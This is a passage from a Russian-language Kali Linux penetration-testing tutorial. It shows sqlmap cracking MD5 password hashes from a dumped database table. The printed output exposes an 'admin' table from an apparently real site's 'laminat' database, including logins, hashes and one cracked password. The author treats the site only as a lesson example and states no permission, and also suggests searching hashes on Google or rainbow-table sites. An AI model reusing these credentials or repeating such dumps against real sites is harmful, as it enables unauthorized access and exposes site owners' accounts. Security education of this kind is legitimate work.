further processing with other tools, т. е. хотим ли мы сохранить хэши во временный файл, чтобы в дальнейшем обрабатывать их. Это на ваше усмотрение.
Теперь программа говорит do you want to crack them via a dictionary-based attack?, что означает, хотите ли вы использовать атаку, основанную на словаре. Это сэкономит уйму времени, поэтому если вы просто учитесь, пробуете, то соглашаемся.
Нам снова даются три опции:
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter) (словарь по умолчанию — просто нажмите Enter)
[2] custom dictionary file (файл пользовательского словаря)
[3] file with list of dictionary files (файл со списком пользовательских словарей)
Просто нажмите Enter.
На и, наконец, программа спрашивает do you want to use common password suffixes?
(slow!). Это означает, хотим ли мы использовать обычные префиксы. Я отвечаю нет, поскольку это очень долгая процедура. А конкретно этот сайт мне интересен только как пример урока. Узнаю я от него пароль или нет — мне всё равно. Я не готов тратить много времени на эту процедуру:
1|
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
2|
do you want to crack them via a dictionary-based attack? [Y/n/q] y
3|
[20:00:41] [INFO] using hash method 'md5_generic_passwd'
4|
[20:00:41]
[INFO] resuming password
'nuvolari' for hash
'493ccdcab464cff215467d4c62a7f142'
5|
what dictionary do you want to use?
6|
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
7|
[2] custom dictionary file
8|
[3] file with list of dictionary files
9|
> 1 10|
[20:00:45] [INFO] using default dictionary
11|
do you want to use common password suffixes? (slow!) [y/N] n
12|
[20:00:49] [INFO] starting dictionary-based cracking (md5_generic_passwd)
13|
[20:01:05] [INFO] postprocessing table dump
14|
Database: laminat
15|
Table: admin
16|
[2 entries]
17|
+----+---------------+-----------------------------------------------------+-------+--------+
18|
| id | jmeno | heslo | login | stupen |
19|
+----+---------------+-----------------------------------------------------+-------+--------+

По материалам сайта WebWare.biz
232
Тестирование на проникновение с помощью Kali Linux 2.0
20|
| 1 | M?la | 493ccdcab464cff215467d4c62a7f142 (nuvolari) | fucek | 1 |
21|
| 4 | Administr?tor | d41d8cd98f00b204e9800998ecf8427e | admin | 1 |
22|
+----+---------------+-----------------------------------------------------+-------+--------+
Не смотря на выбор «быстрых» опций, пароль расшифрован!
В этот раз всё получилось быстро и непринуждённо. Иногда бывает ещё проще — пароль не зашифрован. Иногда пароль не удаётся расшифровать быстрым способом.
На этот случай у меня есть одна хитрость — я копирую хэш пароля и… ищу в Гугле.
Примерно в половине случаев мне везёт — находятся тематические сайты, базы данных, в которых собраны расшифрованные хэши.
Давайте представим ситуацию, когда быстро пароль не подобрался, когда поиск по
Гуглу и сайтам с радужными таблицами
( https://ru.wikipedia.org/wiki/Радужная_таблица ) не увенчался успехом, и это «не учебная тревога», т. е. вас интересует конкретный сайт и для вас важно знать для него пароль, то можно попытаться воспользоваться специальным программным обеспечением.
К расшифровке паролей я ещё вернусть, это будет большая статья, охватывающая взлом MD5, phpBB, MySQL и SHA1 паролей с помощью Hashcat на Kali. Не пропустите её.
Заключение
Есть много других способов проникнуть в базу данных или получить пользовательскую информацию. Вам следует использовать эти техники только на веб-сайтах, которые дали вам на этой разрешение.
Пока писал статью, какой-то чудак «хакнул» это несчастный сайт — ничего не удалил, просто дефейснул его. Друзья, давайте учиться, пробовать, думать, изучать программы, искать обходные пути, нестандартные решения, постигать глубины сетевых технологий, заглядывать туда, куда другие не могут, но давайте не будем заниматься мелкими пакостями!
1   ...   8   9   10   11   12   13   14   15   ...   20

перейти в каталог файлов

Образовательный портал Как узнать результаты егэ Стихи про летний лагерь 3агадки для детей

Образовательный портал Как узнать результаты егэ Стихи про летний лагерь 3агадки для детей